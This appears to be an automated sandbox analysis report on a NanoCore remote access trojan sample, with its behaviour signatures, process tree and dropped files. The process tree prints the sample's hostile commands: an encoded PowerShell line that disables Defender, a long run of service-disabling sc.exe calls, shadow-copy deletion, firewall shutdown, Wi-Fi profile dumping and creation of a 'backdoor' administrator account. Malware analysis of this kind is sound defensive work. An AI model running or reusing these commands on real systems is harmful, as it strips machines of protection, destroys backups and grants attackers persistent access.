Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/08/2026, 23:44

General

  • Target
    cheezu.io_nano.exe
  • Size 64KB
  • Sample260817-3rmadssvbv
  • SHA256 521c22f06c45980691a356f378b897ddbfdae416c754fd8df902cb94c0597001
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • YOUR_DOMAIN.COM

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_domain

    YOUR_DOMAIN.COM

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 3 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Launches sc.exe 28 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1848
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5996
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6040
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1960
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1536
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1164
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:556
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      2⤵
      • Launches sc.exe
      PID:3000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      PID:5796
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop bits
      2⤵
      • Launches sc.exe
      PID:5572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config bits start= disabled
      2⤵
      • Launches sc.exe
      PID:5580
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop vss
      2⤵
      • Launches sc.exe
      PID:4972
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config vss start= disabled
      2⤵
      • Launches sc.exe
      PID:1600
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop swprv
      2⤵
      • Launches sc.exe
      PID:4088
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config swprv start= disabled
      2⤵
      • Launches sc.exe
      PID:4924
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop EventLog
      2⤵
      • Launches sc.exe
      PID:4084
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config EventLog start= disabled
      2⤵
      • Launches sc.exe
      PID:4028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SysmonLog
      2⤵
      • Launches sc.exe
      PID:2012
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
      2⤵
      • Launches sc.exe
      PID:2348
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sysmon
      2⤵
      • Launches sc.exe
      PID:5340
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config Sysmon start= disabled
      2⤵
      • Launches sc.exe
      PID:2608
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop sense
      2⤵
      • Launches sc.exe
      PID:3304
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config sense start= disabled
      2⤵
      • Launches sc.exe
      PID:4140
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5664
      • C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
        "C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe"
        3⤵
          PID:4216
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4992
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2288
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3484
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:552
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6012
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5176
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1592
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3000
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:924
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3448
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5316
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2408
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\system32\ipconfig.exe
          ipconfig /all
          3⤵
          • Gathers network information
          PID:2988
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\system32\NETSTAT.EXE
          netstat -an
          3⤵
          • Gathers network information
          • Suspicious use of AdjustPrivilegeToken
          PID:384
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe" /sc daily /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1872
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1640
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:3808
        • C:\Windows\System32\net.exe
          "C:\Windows\System32\net.exe" stop srservice
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop srservice
            3⤵
              PID:5136
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
            2⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:332
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" config i8042prt start= disabled
            2⤵
            • Launches sc.exe
            PID:3260
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" stop i8042prt
            2⤵
            • Launches sc.exe
            PID:2948
          • C:\Windows\system32\svchost.exe
            "C:\Windows\system32\svchost.exe"
            2⤵
              PID:4772
            • C:\Windows\SYSTEM32\netsh.exe
              "netsh" wlan show profiles
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2280
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
              2⤵
              • Creates a new local user account
              • Suspicious use of WriteProcessMemory
              PID:3488
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
                3⤵
                • Creates a new local user account
                PID:4524
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2952
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup administrators backdoor /add
                3⤵
                  PID:4512
            • C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
              C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
              1⤵
                PID:4244
              • C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
                C:\Users\Admin\AppData\Local\Temp\cheezu.io_nano.exe
                1⤵
                  PID:5072

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20260817_195219.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20260817_195219.jpg
                      • Size 81KB
                      • SHA256 5f25efdb1af5adad7cf5fdc1d5e80e1e4c9cf0351556f765a733b72cdf66124f
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 85KB
                      • SHA256 3e2c5a388dd4de13c85a91b40a0c4f21c62ede956c70d54766e052da7e7a7b13
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      cheezu.io_nano.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cheezu.io_nano.exe.log
                      • Size 660B
                      • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_pj0pyjgt.nin.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pj0pyjgt.nin.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 239B
                      • SHA256 aa6f2c45fd3e386a9772459da7ab52840d0ee294eb20ca33f613960ae3732d43
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 133KB
                      • SHA256 22fbafea83af89f447d7438110a505741e67990857d5f11e90d77e20b341c7a4
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 133KB
                      • SHA256 0f6b40119debaf9c428039e0f9d133ea9f38c765abe0805ed113dab0834dc48b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_2.pdf

                      • Path C:\Users\Admin\Documents\invoice_2.pdf
                      • Size 85KB
                      • SHA256 1eff450052673a1c54695c0627a37a29ab9642c537881e4798922f100de6224e
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 64KB
                      • SHA256 521c22f06c45980691a356f378b897ddbfdae416c754fd8df902cb94c0597001
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/1660-105-0x000000001B210000-0x000000001B220000-memory.dmp

                      memory/1660-0-0x0000000000470000-0x0000000000486000-memory.dmp

                      memory/1660-1-0x000000001B210000-0x000000001B220000-memory.dmp

                      memory/1848-94-0x0000020C6A820000-0x0000020C6A83C000-memory.dmp

                      memory/1848-102-0x0000020C6AA90000-0x0000020C6AA9A000-memory.dmp

                      memory/1848-101-0x0000020C6AA80000-0x0000020C6AA86000-memory.dmp

                      memory/1848-100-0x0000020C6AA50000-0x0000020C6AA58000-memory.dmp

                      memory/1848-99-0x0000020C6AAA0000-0x0000020C6AABA000-memory.dmp

                      memory/1848-98-0x0000020C6AA40000-0x0000020C6AA4A000-memory.dmp

                      memory/1848-97-0x0000020C6AA60000-0x0000020C6AA7C000-memory.dmp

                      memory/1848-96-0x0000020C6A810000-0x0000020C6A81A000-memory.dmp

                      memory/1848-95-0x0000020C6A840000-0x0000020C6A8F5000-memory.dmp

                      memory/1848-11-0x0000020C6A590000-0x0000020C6A5B2000-memory.dmp

                      memory/3808-140-0x0000022120100000-0x0000022120101000-memory.dmp